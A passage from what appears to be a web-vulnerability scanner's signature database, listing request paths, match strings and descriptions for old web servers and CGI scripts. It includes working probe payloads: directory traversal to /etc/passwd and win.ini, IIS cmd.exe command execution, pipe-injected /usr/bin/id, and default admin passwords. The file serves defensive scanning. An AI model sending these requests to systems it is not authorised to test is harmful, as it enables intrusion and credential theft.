"000293","0","3","/simplebbs/users/users.php","GET","200","","","","","Simple BBS 1.0.6 allows user information and passwords to be viewed remotely.","","" "000294","0","3","/sips/sipssys/users/a/admin/user","GET","Password","","","","","SIPS v0.2.2 allows user account info (including password) to be retrieved remotely.","","" "000295","3093","2","/tcb/files/auth/r/root","GET","u_pwd","","","","","HP-UX has the tcb auth file system on the web server.","","" "000296","0","3","/typo3conf/","GET","200","","","","","This may contain sensitive Typo3 files.","","" "000297","0","3","/typo3conf/database.sql","GET","200","","","","","Typo3 sql file found.","","" "000298","0","3","/typo3conf/localconf.php","GET","200","","","","","Typo3 config file found.","","" "000299","0","3","/vchat/msg.txt","GET","200","","","","","VChat allows user information to be retrieved.","","" "000300","0","3","/vgn/license","GET","200","","","","","Vignette server license file found.","","" "000301","3092","3","/web.config","GET","200","","","","","ASP config file found.","","" "000302","3233","3","/webamil/test.php?mode=phpinfo","GET","PHP Version","","","","","Horde allows phpinfo() to be run, which gives detailed system information.","","" "000303","0","3","/webcart-lite/config/import.txt","GET","200","","","","","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web.","","" "000304","0","3","/webcart-lite/orders/import.txt","GET","200","","","","","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web.","","" "000305","0","3","/webcart/carts/","GET","200","","","","","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web.","","" "000306","0","3","/webcart/config/","GET","200","","","","","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web.","","" "000307","0","3","/webcart/config/clients.txt","GET","200","","","","","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web.","","" "000308","0","3","/webcart/orders/","GET","200","","","","","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web.","","" "000309","0","3","/webcart/orders/import.txt","GET","200","","","","","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web.","","" "000310","0","3","/webmail/horde/test.php","GET","Horde Versions","","","","","Horde script reveals detailed system/Horde information.","","" "000311","0","3","/whateverJUNK(4).html","GET","InterScan HTTP Version","","","","","InterScan VirusWall on the remote host reveals its version number in HTTP error messages.","","" "000312","0","3","/ws_ftp.ini","GET","200","","","","","Can contain saved passwords for ftp sites","","" "000313","0","3","/WS_FTP.ini","GET","200","","","","","Can contain saved passwords for ftp sites","","" "000314","0","3","@CGIDIRSMsmMask.exe","GET","200","","","","","MondoSearch 4.4 may allow source code viewing by requesting MsmMask.exe?mask=/filename.asp where 'filename.asp' is a real asp file.","","" "000315","0","3","/_mem_bin/auoconfig.asp","GET","200","","","","","Displays the default AUO (LDAP) schema, including host and port.","","" "000316","0","3","/_mem_bin/auoconfig.asp","GET","LDAP","","","","","LDAP information revealed via asp. See http://www.wiretrip.net/rfp/p/doc.asp/i1/d69.htm","","" "000317","17664","3","/_mem_bin/remind.asp","GET","Recover","","","","","Page will give the password reminder for any user requested (username must be known).","","" "000318","0","3","/exchange/lib/ATTACH.INC","GET","File upload","","","","","Outlook Web Access server allows source code to be viewed by requesting the file directly from /exchange/lib/","","" "000319","17659","3","/SiteServer/Admin/knowledge/persmbr/vs.asp","GET","200","","","","","Expose various LDAP service and backend configuration parameters","","" "000320","17661","3","/SiteServer/Admin/knowledge/persmbr/VsLsLpRd.asp","GET","200","","","","","Expose various LDAP service and backend configuration parameters","","" "000321","17662","3","/SiteServer/Admin/knowledge/persmbr/VsPrAuoEd.asp","GET","200","","","","","Expose various LDAP service and backend configuration parameters","","" "000322","17660","3","/SiteServer/Admin/knowledge/persmbr/VsTmPr.asp","GET","200","","","","","Expose various LDAP service and backend configuration parameters","","" "000323","0","3","/trace.axd","GET","Application Trace","","","","","The .NET IIS server has application tracing enabled. This could allow an attacker to view the last 50 web requests.","","" "000324","0","3","/tvcs/getservers.exe?action=selects1","GET","200","","","","","Following steps 2-4 of this page may reveal a zip file which contains passwords and system details.","","" "000325","0","3","/whatever.htr","GET","<html>Error: The requested file could not be found. </html>","","","","","Reveals physical path. htr files may also be vulnerable to an off-by-one overflow that allows remote command execution (see MS02-018)","","" "000326","0","3","/whatever.htr","GET","200","","","","","Reveals physical path. htr files may also be vulnerable to an off-by-one overflow that allows remote command execution (see MS02-018)","","" "000327","0","3","/./","GET","Index of ","","","","","Appending '/./' to a directory allows indexing","","" "000328","0","3","/nsn/fdir.bas:ShowVolume","GET","200","","","","","You can use ShowVolume and ShowDirectory directly on the Novell server (NW5.1) to view the filesystem without having to log in","","" "000329","0","3","/nsn/fdir.bas","GET","200","","","","","You can use fdir to ShowVolume and ShowDirectory.","","" "000330","0","3","/servlet/webacc?User.html=noexist","GET","templates/","","","","","Netware web access may reveal full path of the web server. Apply vendor patch or upgrade.","","" "000331","0","4","/forum/admin/database/wwForum.mdb","GET","200","","","","","Web Wiz Forums pre 7.5 is vulnerable to Cross-Site Scripting attacks. Default login/pass is Administrator/letmein","","" "000332","0","4","/webmail/blank.html","GET","200","","","","","IlohaMail 0.8.10 contains an XSS vulnerability. Previous versions contain other non-descript vulnerabilities.","","" "000333","0","5","/jamdb/","GET","200","","","","","JamDB pre 0.9.2 mp3.php and image.php can allow user to read arbitrary file out of docroot.","","" "000334","0","6","/cgi/cgiproc?","GET","200","","","","","It may be possible to crash Nortel Contivity VxWorks by requesting '/cgi/cgiproc?$' (not attempted!). Upgrade to version 2.60 or later.","","" "000335","0","7","@CGIDIRSaddbanner.cgi","GET","200","","","","","This CGI may allow attackers to read any file on the system.","","" "000336","0","7","@CGIDIRSaf.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd","GET","root:","","","","","AlienForm2 revision 1.5 allows any file to be read from the remote system.","","" "000337","0","7","@CGIDIRSalienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd","GET","root:","","","","","AlienForm2 revision 1.5 allows any file to be read from the remote system.","","" "000338","0","7","@CGIDIRSshtml.dll","GET","200","","","","","This may allow attackers to retrieve document source.","","" "000339","2400","7","/admin-serv/tasks/configuration/ViewLog?file=passwd&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv","GET","root:","","","","","iPlanet Administration Server 5.1 allows remote users to download any file from the server. Upgrade to SunOne DS5.2 and in iDS5.1 SP2 Hotfix 2."," ","" "000340","0","8","@CGIDIRSaglimpse.cgi","GET","200","","","","","This CGI may allow attackers to execute remote commands.","","" "000341","0","8","@CGIDIRSaglimpse","GET","200","","","","","This CGI may allow attackers to execute remote commands.","","" "000342","0","8","@CGIDIRSarchitext_query.cgi","GET","200","","","","","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands.","","" "000343","0","8","/cgi-local/cgiemail-1.4/cgicso?query=AAA","GET","400 Required field missing: fingerhost","","","","","This CGI allows attackers to execute remote commands.","","" "000344","0","8","/cgi-local/cgiemail-1.6/cgicso?query=AAA","GET","400 Required field missing: fingerhost","","","","","This CGI allows attackers to execute remote commands.","","" "000345","0","8","/servlet/SchedulerTransfer","GET","200","Error Occurred","","","","PeopleSoft SchedulerTransfer servlet found, which may allow remote command execution. See http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21999","","" "000346","0","8","/servlet/sunexamples.BBoardServlet","GET","200","Error Occurred","","","","This default servlet lets attackers execute arbitrary commands."," ","" "000347","0","8","/servlets/SchedulerTransfer","GET","200","Error Occurred","","","","PeopleSoft SchedulerTransfer servlet found, which may allow remote command execution. See http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21999","","" "000348","0","8","@CGIDIRScmd.exe?/c+dir","GET","200","","","","","cmd.exe can execute arbitrary commands","","" "000349","0","8","@CGIDIRScmd1.exe?/c+dir","GET","200","","","","","cmd1.exe can execute arbitrary commands","","" "000350","0","8","@CGIDIRShello.bat?&dir+c:\",","GET","200","","","","","This batch file may allow attackers to execute remote commands.","","" "000351","0","8","@CGIDIRSpost32.exe|dir%20c:\",","GET","200","","","","","post32 can execute arbitrary commands","","" "000352","0","8","/perl/-e%20print%20Hello","GET","200","","","","","The PERL interpreter on the novell system may allow any command to be executed. See BID-5520. Installing Perl 5.6 might fix this issue.","","" "000353","0","a","/admin.cgi","GET","Administration","","","","","InterScan VirusWall administration is accessible without authentication.","","" "000354","0","a","/interscan/","GET","Administration","","","","","InterScan VirusWall administration is accessible without authentication.","","" "000355","0","a","/vgn/legacy/save","GET","200","","","","","Vignette Legacy Tool may be unprotected. To access this resource, set a cookie called 'vgn_creds' with any value.","","" "000356","0","b","/","GET","default Tomcat","","","","","Appears to be a default Apache Tomcat install.","","" "000357","0","b","/IDSWebApp/IDSjsp/Login.jsp","GET","200","","","","","Tivoli Directory Server Web Administration.","","" "000358","0","b","/quikstore.cfg","GET","200","","","","","Shopping cart config file, http://www.quikstore.com/, http://www.mindsec.com/advisories/post2.txt","","" "000359","0","b","/quikstore.cgi","GET","200","","","","","A shopping cart.","","" "000360","0","b","/securecontrolpanel/","GET","200","","","","","Web Server Control Panel","","" "000361","0","b","/siteminder","GET","200","","","","","This may be an indication that the server is running Siteminder for SSO","","" "000362","0","b","/webmail/","GET","200","","","","","Web based mail package installed.","","" "000363","0","b","/Xcelerate/LoginPage.html","GET","Xcelerate Login Page","","","","","Xcelerate Content Server by Divine/OpenMarket login page found.","","" "000364","0","b","/_cti_pvt/","GET","200","","","","","FrontPage directory found.","","" "000365","0","b","/smg_Smxcfg30.exe?vcc=3560121183d3","GET","200","","","","","This may be a Trend Officesan 'backdoor'.","","" "000366","0","2b","/examples/servlets/index.html","GET","Servlet Examples","","","","","Apache Tomcat default JSP pages present.","","" "000367","0","3b","/nsn/..%5Cutil/attrib.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000368","0","3b","/nsn/..%5Cutil/chkvol.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000369","0","3b","/nsn/..%5Cutil/copy.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000370","0","3b","/nsn/..%5Cutil/del.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000371","0","3b","/nsn/..%5Cutil/dir.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000372","0","3b","/nsn/..%5Cutil/dsbrowse.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000373","0","3b","/nsn/..%5Cutil/glist.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000374","0","3b","/nsn/..%5Cutil/lancard.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000375","0","3b","/nsn/..%5Cutil/md.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000376","0","3b","/nsn/..%5Cutil/rd.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000377","0","3b","/nsn/..%5Cutil/ren.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server ","","" "000378","0","3b","/nsn/..%5Cutil/send.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000379","0","3b","/nsn/..%5Cutil/set.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000380","0","3b","/nsn/..%5Cutil/slist.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000381","0","3b","/nsn/..%5Cutil/type.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000382","0","3b","/nsn/..%5Cutil/userlist.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000383","0","3b","/nsn/..%5Cweb/env.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000384","0","3b","/nsn/..%5Cweb/fdir.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000385","0","3b","/nsn/..%5Cwebdemo/env.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000386","0","3b","/nsn/..%5Cwebdemo/fdir.bas","GET","200","","","","","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server","","" "000387","0","c","/wikihome/action/conflict.php","GET","200","","","","","Some versions of this script allow external source to be included/run by appending ?TemplateDir=http://my.host/ to requests.","","" "000388","0","1","@CGIDIRSarchie","GET","200","","","","","Gateway to the unix command, may be able to submit extra commands","","" "000389","0","1","@CGIDIRScalendar.pl","GET","200","","","","","Gateway to the unix command, may be able to submit extra commands","","" "000390","0","1","@CGIDIRScalendar","GET","200","","","","","Gateway to the unix command, may be able to submit extra commands","","" "000391","0","1","@CGIDIRSdate","GET","200","","","","","Gateway to the unix command, may be able to submit extra commands","","" "000392","0","1","@CGIDIRSfortune","GET","200","","","","","Gateway to the unix command, may be able to submit extra commands","","" "000393","0","1","@CGIDIRSredirect","GET","200","","","","","Redirects via URL from form","","" "000394","0","1","@CGIDIRSuptime","GET","200","","","","","Gateway to the unix command, may be able to submit extra commands","","" "000395","0","1","@CGIDIRSwais.pl","GET","200","","","","","Gateway to the unix command, may be able to submit extra commands","","" "000396","0","2","//","GET","index of","","","","","Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page.","","" "000397","0","2","/webtop/wdk/","GET","Directory Listing for /wdk/","","","","","Documentum Webtop Server appears to be installed","","" "000398","0","2","/SilverStream","GET","/Pages","","","","","SilverStream allows directory listing","","" "000399","0","2","/signon","GET","Administrator Login","","","","","Tivoli administrator login found. Test the default login of admin/admin. Tivoli allows system administration.","","" "000400","0","2","/upd/","GET","200","","","","","WASD Server can allow directory listings by requesting /upd/directory/. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000401","0","3","/examples/jsp/source.jsp??","GET","Directory Listing","","","","","Tomcat 3.23/3.24 allows directory listings by performing a malformed request to a default jsp. Default pages should be removed.","","" "000402","0","3","/lpt9","GET","FileNotFoundException:","","","","","Apache Tomcat 4.0.3 reveals the web root when requesting a non-existent DOS device. Upgrade to version 4.1.3beta or higher.","","" "000403","0","3","/cfcache.map","GET","Mapping","","","","","May leak directory listing, may also leave server open to a DOS. http://www.securiteam.com/windowsntfocus/ColdFusion_Information_Exposure__CFCACHE_Tag_.html","","" "000404","0","3","/cfdocs/cfcache.map","GET","Mapping","","","","","May leak directory listing, may also leave server open to a DOS","","" "000405","0","3","/CVS/Entries","GET","200","","","","","CVS Entries file may contain directory listing information.","","" "000406","0","3","/lpt9.xtp","GET","java.io.FileNotFoundException:","","","","","Resin 2.1 and Tomcat servers reveal the server path when a DOS device is requested.","","" "000407","0","3","/mysql/db_details_importdocsql.php?submit_show=true&do=import&docpath=../../../../../../../etc","GET","passwd","404","","","","phpMyAdmin allows directory listings remotely. Upgrade to version 2.5.3 or higher. BID-7963.","","" "000408","8450","37","@PHPMYADMINdb_details_importdocsql.php?submit_show=true&do=import&docpath=../../../../../../../etc","GET","passwd","404","","","","phpMyAdmin allows directory listings remotely. Upgrade to version 2.5.3 or higher. BID-7963.","","" "000409","0","3","/asp/sqlqhit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000410","0","3","/asp/SQLQHit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000411","0","3","/iissamples/issamples/sqlqhit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000412","0","3","/iissamples/issamples/SQLQHit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000413","0","3","/ISSamples/sqlqhit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000414","0","3","/ISSamples/SQLQHit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000415","0","3","/junk.aspx","GET","NET Framework Version:","","[FileNotFoundException]:","","","ASP.net reveals its version in invalid .aspx error messages.","","" "000416","0","3","/oc/Search/sqlqhit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000417","0","3","/oc/Search/SQLQHit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000418","0","3","/search/htx/sqlqhit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000419","0","3","/search/htx/SQLQHit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000420","0","3","/search/sqlqhit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000421","0","3","/search/SQLQHit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000422","0","3","/sqlqhit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000423","0","3","/SQLQHit.asp","GET","CHARACTERIZATION","","","","","This sample ASP allows anyone to retrieve directory listings.","","" "000424","0","3","@CGIDIRScom5..........................................................................................................................................................................................................................box","GET","Execution of Perl script","","","","","Lotus reveals file system paths when requesting DOS devices with bad syntax.","","" "000425","0","3","@CGIDIRScom5.java","GET","Execution of","","","","","Lotus reveals file system paths when requesting DOS devices with bad syntax.","","" "000426","0","3","@CGIDIRScom5.pl","GET","Execution of Perl script","","","","","Lotus reveals file system paths when requesting DOS devices with bad syntax.","","" "000427","0","3","/?Open","GET","nsf","","","","","This displays a list of all databases on the server. Disable this capability via server options.","","" "000428","0","3","/?OpenServer","GET","\/icons\/abook\.gif","","","","","This install allows remote users to enumerate DB names, see http://www.securiteam.com/securitynews/6W0030U35W.html","","" "000429","0","3","/catalog.nsf","GET","200","","","","","A list of server databases can be retrieved, as well as a list of ACLs.","","" "000430","0","3","/cersvr.nsf","GET","200","","","","","Server certificate data can be accessed remotely.","","" "000431","0","3","/cgi-bin/testing_whatever","GET","domino/cgi-bin","","","","","The Domino server reveals the system path to the cgi-bin directory by requesting a bogus CGI.","","" "000432","0","3","/domlog.nsf","GET","200","","","","","The domain server logs can be accessed remotely.","","" "000433","0","3","/events4.nsf","GET","200","","","","","The events log can be accessed remotely.","","" "000434","0","3","/log.nsf","GET","200","","","","","The server log is remotely accessible.","","" "000435","0","3","/names.nsf","GET","200","","","","","User names and groups can be accessed remotely (possibly password hashes a well)","","" "000436","0","3","/LOGIN.PWD","GET","200","","","","","MIPCD password file (passwords are not encrypted). MIPDCD should not have the web interface enabled.","","" "000437","0","3","/USER/CONFIG.AP","GET","200","","","","","MIPCD configuration information. MIPCD should not have the web interface enabled.","","" "000438","0","3","@CGIDIRSmail","GET","200","","","","","Simple PERL mailing script to send form data to a pre-configured email address","","" "000439","0","3","@CGIDIRSnph-error.pl","GET","200","","","","","Gives more information in error messages","","" "000440","0","3","@CGIDIRSpost-query","POST","200","","","","","Echoes back result of your POST","","" "000441","0","3","@CGIDIRSquery","GET","200","","","","","Echoes back result of your GET","","" "000442","0","3","@CGIDIRStest-cgi.tcl","GET","200","","","","","May echo environment variables or give directory listings","","" "000443","0","3","@CGIDIRStest-env","GET","200","","","","","May echo environment variables or give directory listings","","" "000444","0","3","/.perf","GET","ListenSocket","","","","","Contains Netscape/iPlanet server performance information","","" "000445","0","3","/","get","Index of ","","","","","Fasttrack can give a directory listing if issued 'get' instead of 'GET'","","" "000446","0","3","/","INDEX","Index of ","","","","","Netscape web publisher can give directory listings with the INDEX tag. Disable INDEX or Web Publisher.","","" "000447","0","3","//","GET","Proxy autoconfig","","","","","Proxy auto configuration file retrieved.","","" "000448","0","3","/admin-serv/config/admpw","GET","200","","","","","This file contains the encrypted Netscape admin password. It should not be accessible via the web.","","" "000449","0","3","/test.php%20","GET","<?","","","","","The OmniHTTP install may allow php/shtml/pl script disclosure. Upgrade to the latest version.","","" "000450","0","3","/*.*","GET","index of","","","","","WASD Server reveals the contents of directories via this URL. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000451","0","3","/cgi-bin/cgi_process","GET","200","","","","","WASD reveals a lot of system information in this script--it should be removed.","","" "000452","0","3","/ht_root/wwwroot/-/local/httpd$map.conf","GET","200","","","","","WASD reveals the http configuration file. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000453","0","3","/JUNK(10)","GET","Document not found ... /","","","","","WASD reveals the web root in error requests. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000454","0","3","/local/httpd$map.conf","GET","200","","","","","WASD reveals the http configuration file. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000455","0","3","/tree","GET","200","","","","","WASD Server reveals the entire web root structure and files via this URL. Upgrade to a later version and secure according to the documents on the WASD web site.","","" "000456","0","3","@CGIDIRSindex.js0x70","GET","\<\%\=","","","","","The Weblogic can be tricked into revealing jsp source by adding '0x70' to end of the URL.","","" "000457","0","3","/%00/","GET","<%","","","","","Weblogic allows directory listings with %00 (or indexing is enabled), upgrade to v6.0 SP1 or higher. BID-2513.","","" "000458","0","3","/%00/","GET","directory listing of","","","","","Weblogic allows directory listings with %00 (or indexing is enabled), upgrade to v6.0 SP1 or higher. BID-2513.","","" "000459","0","3","/%00/","GET","Index of","","","","","Weblogic allows directory listings with %00 (or indexing is enabled), upgrade to v6.0 SP1 or higher. BID-2513","","" "000460","0","3","/%2e/","GET","<%","","","","","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513","","" "000461","0","3","/%2e/","GET","directory listing of","","","","","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513.","","" "000462","0","3","/%2e/","GET","Index of","","","","","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513.","","" "000463","0","3","/%2f/","GET","<%","","","","","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513","","" "000464","0","3","/%2f/","GET","directory listing of","","","","","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513.","","" "000465","0","3","/%2f/","GET","Index of","","","","","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513.","","" "000466","0","3","/%5c/","GET","<%","","","","","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513","","" "000467","0","3","/%5c/","GET","directory listing of","","","","","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513.","","" "000468","0","3","/%5c/","GET","Index of","","","","","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. BID-2513.","","" "000469","0","3","/index.jsp%00x","GET","<%=","","","","","Bea WebLogic 6.1 SP 2 discloses source by appending %00x to a jsp request. Upgrade to a version newer than 6.2 SP 2 for Win2k. BID-2513","","" "000470","3268","2","/weblogic","GET","index of","","","","","Directory indexing is enabled: /weblogic","","" "000471","0","3","/%a%s%p%d","GET","*s?d","","","","","Format bug is present & may reveal system path, upgrade to the latest version.","","" "000472","0","3","/index.html%20","GET","File for URL","","","","","Website may reveal file system paths by adding %20 to the end of a legitimate .html request.","","" "000473","0","23","/852566C90012664F","GET","200","","","","","This database can be read using the replica id without authentication.","","" "000474","0","23","/hidden.nsf","GET","200","","","","","This database can be read withoutauthentication. Common database name.","","" "000475","0","23","/mail.box","GET","200","","","","","The mail database can be read without authentication.","","" "000477","0","23","/setup.nsf","GET","200","","","","","The server can be configured remotely, or current setup can be downloaded.","","" "000478","0","23","/statrep.nsf","GET","200","","","","","Any reports generated by the admins can be retrieved.","","" "000479","0","23","/webadmin.nsf","GET","200","","","","","The server admin database can be accessed remotely.","","" "000480","0","3d","@CGIDIRScgitest.exe","GET","200","","","","","This CGI allows remote users to download other CGI source code. May have a buffer overflow in the User-Agent header.","","" "000481","0","6","/examples/servlet/AUX","GET","200","","","","","Apache Tomcat versions below 4.1 may be vulnerable to DoS by repeatedly requesting this file.","","" "000482","0","6","@CGIDIRShpnst.exe?c=p+i=SrvSystemInfo.html","GET","200","","","","","HP Instant TopTools may be vulnerable to a DoS by requesting hpnst.exe?c=p+i=hpnst.exe multiple times.","","" "000483","0","6","/cfdocs/cfmlsyntaxcheck.cfm","GET","200","not found","","","","can be used for a DoS on the server by requesting it check all .exe's","","" "000484","0","6","/Config1.htm","GET","200","","","","","This may be a D-Link, some devices have a DoS condition if an oversized POST request is sent. This DoS was not tested. See http://www.phenoelit.de/stuff/dp-300.txt for info.","","" "000485","0","6","/contents/extensions/asp/1","GET","200","","","","","The IIS system may be vulnerable to a DOS, see MS02-018 for details.","","" "000486","0","6","/WebAdmin.dll?View=Logon","GET","200","","","","","Some versions of WebAdmin are vulnerable to a remote DoS (not tested). See http://www.ngssoftware.com.","","" "000487","0","6","@CGIDIRSPbcgi.exe","GET","200","","","","","Sambar may be vulnerable to a DOS when a long string is passed to Pbcgi.exe (not attempted). Default CGI should be removed from web servers.","","" "000488","0","6","@CGIDIRStestcgi.exe","GET","200","","","","","Sambar may be vulnerable to a DOS when a long string is passed to testcgi.exe (not attempted). Default CGI should be removed from web servers.","","" "000489","0","6","/cgi-win/cgitest.exe","GET","200","","","","","This CGI may allow the server to be crashed remotely, see http://www.securityoffice.net/ for details. Remove this default CGI.","","" "000490","0","7","/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd","GET","root:","","","","","The Web_Server_4D is vulnerable to a directory traversal problem.","","" "000491","0","8","/c/winnt/system32/cmd.exe?/c+dir+/OG","GET","Directory of c","","","","","This machine is infected with Code Red, or has Code Red leftovers.","","" "000492","0","8","/cgi-bin/snorkerz.bat","GET","200","","","","","Arguments passed to DOS CGI without checking","","" "000493","0","8","/cgi-bin/snorkerz.cmd","GET","200","","","","","Arguments passed to DOS CGI without checking","","" "000494","0","8","/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c","GET","[winnt]","","","Internal server error","","Can issue arbitrary commands to host.","","" "000495","0","8","/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:%5c","GET","The paramater is incorrect","","","Internal server error","","May be able to issue arbitrary commands to host.","","" "000496","0","8","/msadc/samples/adctest.asp","GET","Remote Data Service","","","","","The IIS sample application adctest.asp may be used to remotely execute commands on the server. RFP9901 (http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm)","","" "000497","0","b","/JUNK(10)","GET","SecureIIS application","","","","","Server appears to be running eEye's SecureIIS application, http://www.eeye.com/.","","" "000498","0","b","/nikto.ida","GET","Rejected-By-UrlScan","","","","","The IIS server is running UrlScan","","" "000499","0","b","/SUNWmc/htdocs/","GET","en_US","","","","","Sun SMC (Solaris Management Console) is running.","","" "000500","0","d","@CGIDIRSwebfind.exe?keywords=01234567890123456789","GET","500","","","","","May be vulnerable to a buffer overflow (request 2000 bytes of data). Upgrade to WebSitePro 2.5 or greater","","" "000501","0","d","/cgi-shl/win-c-sample.exe","GET","200","","","","","win-c-sample.exe has a buffer overflow","","" "000502","0","34","/examples/servlet/TroubleShooter","GET","TroubleShooter Servlet Output","","","","","Tomcat default jsp page reveals system information and may be vulnerable to XSS.","","" "000503","0","8","@CGIDIRSans.pl?p=../../../../../usr/bin/id|&blah","GET","uid","","","","","Avenger's News System allows commands to be issued remotely.","","" "000504","0","8","@CGIDIRSans/ans.pl?p=../../../../../usr/bin/id|&blah","GET","uid","","","","","Avenger's News System allows commands to be issued remotely.","","" "000505","0","2","/goform/CheckLogin?login=root&password=tslinux","GET","MainPageTable","","","","","The Cyclades' web user 'root' still has the default password 'tslinux' set, this should be changed immediately. Also, the id/password is hashed to create the sessionId cookie, which is bad.","","" "000506","0","5","/[SecCheck]/..%2f../ext.ini","GET","200","","","","","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information.","","" "000507","0","5","/[SecCheck]/..%255c..%255c../ext.ini","GET","200","","","","","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information.","","" "000508","0","5","/[SecCheck]/..%252f..%252f../ext.ini","GET","200","","","","","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information.","","" "000509","0","5","/cgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\winnt\win.ini","GET","[fonts]","","","","","The ColdFusion install allows attackers to read arbitrary files remotely","","" "000510","0","5","/cgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\windows\win.ini","GET","[fonts]","","","","","The ColdFusion install allows attackers to read arbitrary files remotely","","" "000511","0","5","/.nsf/../winnt/win.ini","GET","200","","","","","This win.ini file can be downloaded.","","" "000512","0","5","/prxdocs/misc/prxrch.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","GET","[fonts]","","","","","This allows arbitrary files to be 